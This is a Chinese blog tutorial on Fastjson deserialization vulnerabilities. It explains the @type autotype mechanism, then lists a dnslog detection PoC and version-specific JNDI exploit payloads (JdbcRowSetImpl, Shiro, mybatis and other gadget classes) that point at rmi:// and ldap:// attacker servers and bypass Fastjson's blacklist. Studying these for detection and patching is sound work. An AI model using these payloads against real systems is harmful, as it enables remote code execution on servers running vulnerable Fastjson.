【Fastjson】Fastjson反序列化由浅入深
Fastjson真-简-介
fastjson是由alibaba开发并维护的一个json工具,以其特有的算法,号称最快的json库
fastjson的使用
首先先创一个简单的测试类User
public class user {
public String username;
public String password;
public user(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
使用fastjson进行序列化和反序列化操作
public class Fastjson {
public static void main(String[] args) {
user user = new user("Bob", "123.com");
//序列化方式--指定类和不指定类
String json1 = JSON.toJSONString(user);
System.out.println(json1);//{"password":"123.com","username":"Aur0ra.sec"}
String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(json2);//{"@type":"com.aur0ra.sec.fastjson.User","password":"123.com","username":"Aur0ra.sec"}
//反序列化
//默认解析为JSONObject
System.out.println(JSON.parse(json1)); //{"password":"123.com","username":"Bob"}
System.out.println(JSON.parse(json1).getClass().getName()); //com.alibaba.fastjson.JSONObject
//依据序列化中的@type进行自动反序列化成目标对象类型
System.out.println(JSON.parse(json2)); //com.aur0ra.sec.fastjson.user@24b1d79b
System.out.println(JSON.parse(json2).getClass().getName()); //com.aur0ra.sec.fastjson.user
//手动指定type,反序列化成目标对象类型
System.out.println(JSON.parseObject(json1, user.class)); //com.aur0ra.sec.fastjson.user@68ceda24
System.out.println(JSON.parseObject(json1, user.class).getClass().getName()); //com.aur0ra.sec.fastjson.user
}
}
上述的序列化和反序列化操作,一定要手动实践。
执行后你会发现,使用JSON.toJSONString进行序列化时,可以设置是否将对象的类型也作为序列化的内容。当对字符串进行反序列化操作时,如果序列化字符串中有@type则会按照该类型进行反序列化操作,而如果没有该属性,则默认都返回JSONObject对象(一种字典类型数据存储)。当没有@type,但又想反序列化成指定的类对象时,需要通过JSON.parseObject()同时传入该类的class对象,才能反序列成指定的对象。
注意:反序列化的对象必须具有默认的无参构造器和get|set方法,反序列化的底层实现就是通过无参构造器和get .set方法进行的
漏洞点:由于序列化数据是从客户端发送的,如果将type属性修改成恶意的类型,再发送过去,而接收方进行正常的反序列化操作时,不就可以实现任意类的反序列化操作!!!
原理探究
序列化
...
public static final String toJSONString(Object object, SerializerFeature... features) {
SerializeWriter out = new SerializeWriter();
try {
JSONSerializer serializer = new JSONSerializer(out);
for (com.alibaba.fastjson.serializer.SerializerFeature feature : features) {
serializer.config(feature, true);
}
serializer.write(object);
return out.toString();
}
}
...
当指定要将类的名字写入到序列化数据中时,就是将其写入到JSONSerializer的配置中,当执行写操作时,JSONSerializer会依据config,进行序列化操作。
手动指定类对象进行反序列化

当手动指定类对象时,JSON会根据指定的Class进行加载和映射。
自动反序列化
跟了比较久,容易跟丢

第一张是调用图,第二张图是自动反序列化的关键点。在这里,首先就是会先进行词法分析(不知道的可以理解为按一定格式的将字符串分割),提取到字符串后,进行匹配,如果存在@type,那么就会进行如图中的动态加载对象,再完成后续操作,这也就是为什么可以实现自动类匹配加载。
fastjson反序列化利用
上面的篇幅,相信应该讲清楚了,传入@type实现自动类匹配加载的原理。
上面也提到了,只要我们可以控制@type类就可以加载任意我们想要加载的类,从而实现漏洞利用
POC
// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
// 全版本支持 fastjson <= 1.2.72
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
在对渗透点判断是否存在fastjson反序列化时,可以利用dnslog进行漏洞验证
默认情况下,fastjson只对public属性进行反序列化操作,如果POC或则EXP中存在private属性时,需要服务端开启了SupportNonPublicField功能。
EXP
v1.2.41
漏洞简介:
fastjson判断类名是否以L开头、以;结尾,是的话就提取出其中的类名再加载。
exp
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}\
v1.2.42
1.2.42 版本新增了校验机制,如果输入类名的开头和结尾是l和;就将头和尾去掉,再进行黑名单验证。
所以绕过需要在类名外部嵌套两层L;。
exp
{
"b":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
"autoCommit":true
}
}
fastjson>=1.2.45 autoTypeSupport 属性默认为关闭
fastjson = 1.2.45
利用条件
1)、目标服务端存在mybatis的jar包。
2)、版本需为 3.x.x ~ 3.5.0
3)、autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
exp
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
fastjson <= 1.2.47
漏洞简介:
首先使用java.lang.CLass把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetlmpl这个类,绕过黑名单机制。
利用条件
小于 1.2.48 版本的通杀,autoType为关闭状态也可以。
loadClass中默认cache设置为true。
exp
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
} }
fastjson <= 1.2.62
黑名单绕过
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";
fastjson <= 1.2.66
利用条件:
autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
漏洞简介:
基于黑名单绕过。
exp
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":
{"@type":"java.util.Properties","UserTransacti
on":"ldap://x.x.x.x:1389/Calc"}}
ENDING
There is no system which has absolute SECURITY!
U Know It,U Hack It!
【Fastjson】Fastjson反序列化由浅入深的更多相关文章
- fastjson及其反序列化分析--TemplatesImpl
fastjson及其反序列化分析 源码取自 https://www.github.com/ZH3FENG/PoCs-fastjson1241 参考 (23条消息) Json详解以及fastjson使用 ...
- 使用FASTJSON做反序列化的时间格式处理
JSONObject.DEFFAULT_DATE_FORMAT = "yyyy-MM-dd'T'HH:mm:ss.mmm"; Productorder tmp1 = JSONObj ...
- 记录一次源码扩展案列——FastJson自定义反序列化ValueMutator
背景:曾经遇到一个很麻烦的事情,就是一个json串中有很多占位符,需要替换成特定文案.如果将json转换成对象后,在一个一个属性去转换的话就出出现很多冗余代码,不美观也不是很实用. 而且也不能提前在j ...
- fastjson在反序列化时,解析对象中的继承,抽象类处理
LimitActionConfig是ActionConfig的子类,RuleConfig的有个属性是ActionConfig,需要反序列化成LimitActionConfig ParserConfig ...
- [fastjson] - fastjson中 JSONObject 和 JSONArray
/** * 对jsonObject对象进行key的获取 * @param jsonObject */ public ArrayList<String> jsonKeyRecursion(J ...
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- 【踩坑】利用fastjson反序列化需要默认构造函数
利用 fastjson等 反序列化时需要注意,他可能会用到 默认的构造函数,如果没有默认构造函数,某些场景下可能会出现 反序列化熟悉为空的情况,如下图所示:
- FastJson 对enum的 序列化(ordinal)和反序列化
目前版本的fastjon默认对enum对象使用WriteEnumUsingName属性,因此会将enum值序列化为其Name. 使用WriteEnumUsingToString方法可以序列化时将Enu ...
- Fastjson反序列化漏洞概述
Fastjson反序列化漏洞概述 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...
随机推荐
- c++学习笔记6(结构化程序设计的不足)
结构化程序设计 c语言使用结构化程序设计: 程序=数据结构+算法 程序有全局变量以及众多相互调用的函数组成 算法以函数的形式实现,用于对数据结构进行操作 结构化程序设计不足 软件业的目标是更快,更正确 ...
- Python基础(list与tuple)
#list 类似于数组的概念 classmates = ['傻狗1','傻狗2','傻狗3'] # print(classmates) # print(len(classmates)) # print ...
- Spark面试题(七)——Spark程序开发调优
Spark系列面试题 Spark面试题(一) Spark面试题(二) Spark面试题(三) Spark面试题(四) Spark面试题(五)--数据倾斜调优 Spark面试题(六)--Spark资源调 ...
- python实现对象测量
目录: 问题,轮廓找到了,如何去计算对象的弧长与面积(闭合),多边形拟合,几何矩的计算等 (一)对象的弧长与面积 (二)多边形拟合 (三)几何矩的计算 (四)获取图像的外接矩形boundingRect ...
- 论文解读(LLE)《Nonlinear Dimensionality Reduction by Locally Linear Embedding》and LLE
论文题目:<Nonlinear Dimensionality Reduction by Locally Linear Embedding > 发表时间:Science 2000 论文地址 ...
- go程序不停机重启
让我们给http服务写一个版本更新接口,让它自动更新版本并重启服务吧. 初步例子 注:为了精简,文中代码都去除了err处理 main.go var Version = "1.0" ...
- Git操作: git commit代码后,如何撤回且保留commit的代码
git commit代码后,但是没有push之前,如果发现提交的代码有一个部分是有问题的,或者commit message写的太随便了想改一下,以下命令会帮到你 git reset HEAD^ 敲击该 ...
- 【IDEA】头注释和方法注释
头注释和方法注释 2020-09-08 10:16:17 by冲冲 1.头注释 ①设置 ②模板内容 /** * @ClassName ${NAME} * @Description ${DESCRI ...
- idea明明设置了utf-8, 但是提交的配置文件到远程中文乱码
IDEA中编辑的.properties配置文件提交到Git后显示乱码 解决方法:
- springboot和mybatis集成
springboot和mybatis集成 pom <?xml version="1.0" encoding="UTF-8"?> <proje ...
